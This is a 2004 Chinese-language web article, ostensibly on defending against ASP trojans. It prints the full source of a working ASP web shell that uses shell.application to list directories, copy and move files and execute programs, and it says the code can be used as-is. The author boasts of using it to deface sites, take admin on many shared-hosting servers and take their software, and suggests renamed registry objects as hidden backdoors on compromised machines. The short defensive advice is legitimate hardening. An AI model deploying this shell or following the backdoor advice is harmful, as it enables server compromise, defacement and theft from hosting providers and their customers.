2019年度中国AIoT企业TOP100排行榜
全世界各行各业联合起来,internet一定要实现!
老文章正文

注意防范ASP编写的木马程序

2004-02-17 eNet&Ciweek

  接下来让我们再来看下一款ASP后门木马程序的代码:

  <%response.write "一次只能执行一个xx作" %>

  <%response.write now()%>
程序所在的物理路径:

  <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>

  

  asp's shell.application backdoor

  

  
" method="POST">

   输入要浏览的目录


  

  copy

  


  

  move

  


  路径:

  程序:


  

  


  

  

  <%

  szCMD = Request.Form("text") '目录浏览

  if (szCMD <> "") then

  set shell=server.createobject("shell.application") '建立shell对象

  set fod1=shell.namespace(szcmd)

  set foditems=fod1.items

  for each co in foditems

  response.write "" & co.path & "-----" & co.size & "
"

  next

  end if

  %>

  <%

  szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝

  szCMD2 = Request.Form("text2")

  if szcmd1<>"" and szcmd2<>"" then

  set shell1=server.createobject("shell.application") '建立shell对象

  set fod1=shell1.namespace(szcmd2)

  for i=len(szcmd1) to 1 step -1

  if mid(szcmd1,i,1)="\" then

  path=left(szcmd1,i-1)

  exit for

  end if

  next

  if len(path)=2 then path=path & "\"

  path2=right(szcmd1,len(szcmd1)-i)

  set fod2=shell1.namespace(path)

  set foditem=fod2.parsename(path2)

  fod1.copyhere foditem

  response.write "command completed success!"

  end if

  %>

  <%

  szCMD3 = Request.Form("text3") '目录移动

  szCMD4 = Request.Form("text4")

  if szcmd3<>"" and szcmd4<>"" then

  set shell2=server.createobject("shell.application") '建立shell对象

  set fod1=shell2.namespace(szcmd4)

  for i=len(szcmd3) to 1 step -1

  if mid(szcmd3,i,1)="\" then

  path=left(szcmd3,i-1)

  exit for

  end if

  next

  if len(path)=2 then path=path & "\"

  path2=right(szcmd3,len(szcmd3)-i)

  set fod2=shell2.namespace(path)

  set foditem=fod2.parsename(path2)

  fod1.movehere foditem

  response.write "command completed success!"

  end if

  %>

  <%

  szCMD5 = Request.Form("text5") '执行程序要指定路径

  szCMD6 = Request.Form("text6")

  if szcmd5<>"" and szcmd6<>"" then

  set shell3=server.createobject("shell.application") '建立shell对象

  shell3.namespace(szcmd5).items.item(szcmd6).invokeverb

  response.write "command completed success!"

  end if

  %>

  执行后如下图:

  要查看目录,只要输入相应的目录,点发送命令就可以了。如下图:

  这个木马程可以完成文件的COPY、MOVE,和执行程序。但很多命令都不能用,例如:del、net、netstat等。这个木马程的功能随然简单,但是用它来黑一个网站是足够了。比如,我们可以把网站的首页MOVE到其它地方,然后我们再COPY一个同名的黑客网页进去,就行了。

  最要命的是这个木马适用于任何虚拟主机之中,也就是说我只要是服务器中的一个虚拟空间的用户,我就可以传这个木马上去,并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话,那真是死定了。

  然而在我的实践中发现,中国很多的虚拟空间服务商,特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN,然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来,太难听了,应该说DOWN下来的才对。

  言归正传,我们应该怎样来防范这个ASP后门木马程序呢?让我们看一下它其中的这一句代码:set shell=server.createobject("shell.application"),跟刚才的方法一样,如下图:

  

  我们只要把"shell.application"项和"shell.application.1"项改名或删除就可以了。记住了,如果是改名,要改得复杂一点,不要让黑客们一下就猜到了。顺便说一句,如果是你给肉鸡打补丁最好是改名,并把名字记下来,这样也就成为自己一个隐密的后门了。

  最后对这两款ASP木马后门,以及如何防范ASP木马后门做一下总结:第一款木马功能上强大一些, 但适用范围窄,需要FSO支持也就是"Scripting.FileSystemObject"项的支持。第二款木马虽然功能上少一些,但它创建的是"shell.application"对象。在任何虚拟主机中都适用。(这一点危害确实太大了,提供支持ASP空间的管理员们,你们可得注意了!)

  其实跟据对上面两款ASP木马后门的防范,大家可能已经想到了,对于ASP后门木马的防范,我们只要在注册表中把"shell.application"、"WSCRIPT.SHELL"等危险的脚本对象(因为它们都是用于创建脚本命令通道的)进行改名或删除,也就是限制系统对“脚本SHELL”的创建,ASP木马也就成为无本之木、无米之炊,运行不起来了。

  注:以上代码复制保存为ASP文件就可以直接使用了。(仅用于测试,不要搞破坏,后果自负!)

  

相关频道: eNews 老文章

您对本文或本站有任何意见,请在下方提交,谢谢!

投稿信箱:tougao@enet16.com
广告